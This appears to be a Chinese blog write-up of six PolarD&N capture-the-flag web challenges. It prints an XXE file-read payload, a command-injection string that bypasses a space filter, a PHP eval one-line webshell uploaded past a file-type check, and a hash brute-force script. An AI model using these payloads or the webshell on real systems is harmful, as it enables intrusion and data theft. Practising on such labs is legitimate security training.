【PolarD&N】刷题记录3

1.WEB xxe

1.打开实例,提示了flag所在的位置,直接访问看不到内容。除此之外还给了phpinfo,点击查看,注意到libxml版本为2.8.0,该版本存在xxe漏洞。

注:libxml2 2.9.0 到 2.9.8 版本存在XXE漏洞。

2.使用dirsearch扫一下,扫到了dom.php。

3.进入dom.php,发现了报错。

4.根据报错撰写payload然后发送,让flagggg.php中的信息以base64的形式回显出来。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
       <!ELEMENT name ANY >
        <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php" >
    ]>
     <name>&xxe;</name>

5.查看响应。

6.base64解码一下。

完毕!

2.WEB 爆破

1.查看实例,发现是代码审计,简单分析一下。

输入的pass进行了MD5加密,然后检查密码的第2、15、18位字符是否相等,接下来计算密码的第2、15、18位字符的整数值,并判断它们的和是否等于密码的第32位字符的整数值。满足这些条件就可以拿到flag。

<?php
error_reporting(0);

if(isset($_GET['pass'])){
    $pass = md5($_GET['pass']);
    if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
        if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
            include('flag.php');
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?> 

2.根据条件进行爆破。

import hashlib 

dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'  # 字符集

for a in dic:
    for b in dic:
        t = a + b  # 组合两个字符
        md5 = hashlib.md5(t.encode()).hexdigest()  # 对组合的字符进行 MD5 哈希,转换为 16 进制表示的字符串
        md5 = ''.join('0' if c.isalpha() else c for c in md5)  # 将 MD5 字符串中的字母替换为数字 0
        # 判断 MD5 哈希值的第 2、15、18 位字符是否相等
        if md5[1] == md5[14] and md5[14] == md5[17]:
            # 检查除数是否为零,避免零除错误
            if int(md5[1]) != 0:
                if ((int(md5[1]) + int(md5[14]) + int(md5[17])) / int(md5[1])) == int(md5[31]):
                    print(t)  
                    exit()  

运行结果:

3.传参,拿flag。

3.WEB XFF

1.启动实例!

2.根据题目给的提示,抓包修改IP,拿下!!

4.WEB rce1

1.查看代码,分析一下。

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

传入ip,如果 ip 参数值中不包含空格,则执行 ping 命令。

2.简答传一下看看,可以发现是有显示的。

3.下面就可以去试一试空格绕过,查看源代码拿到flag。

?ip=127.0.0.1|cat%09fllllaaag.php

5.WEB iphone

1.查看实例,根据给出的文字可以看到管理员菜单需要iphone或者ipad才能看到。

2.查看网页源代码,发现注释部分给了提示,给一个UA,也就是user-agent。

3.抓包,在user-agent中写iphone,拿下!

6.WEB ezupload

1.查看实例,经典的文件上传。上传个一句话木马查看一下,发现要GIF图片才能上传。

一句话木马:

<?php eval($_POST['a']);?>

2.修改一句话木马的后缀名,抓包后再改回去,然后上传。

3.蚁剑连接一下。

4.找到flag。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值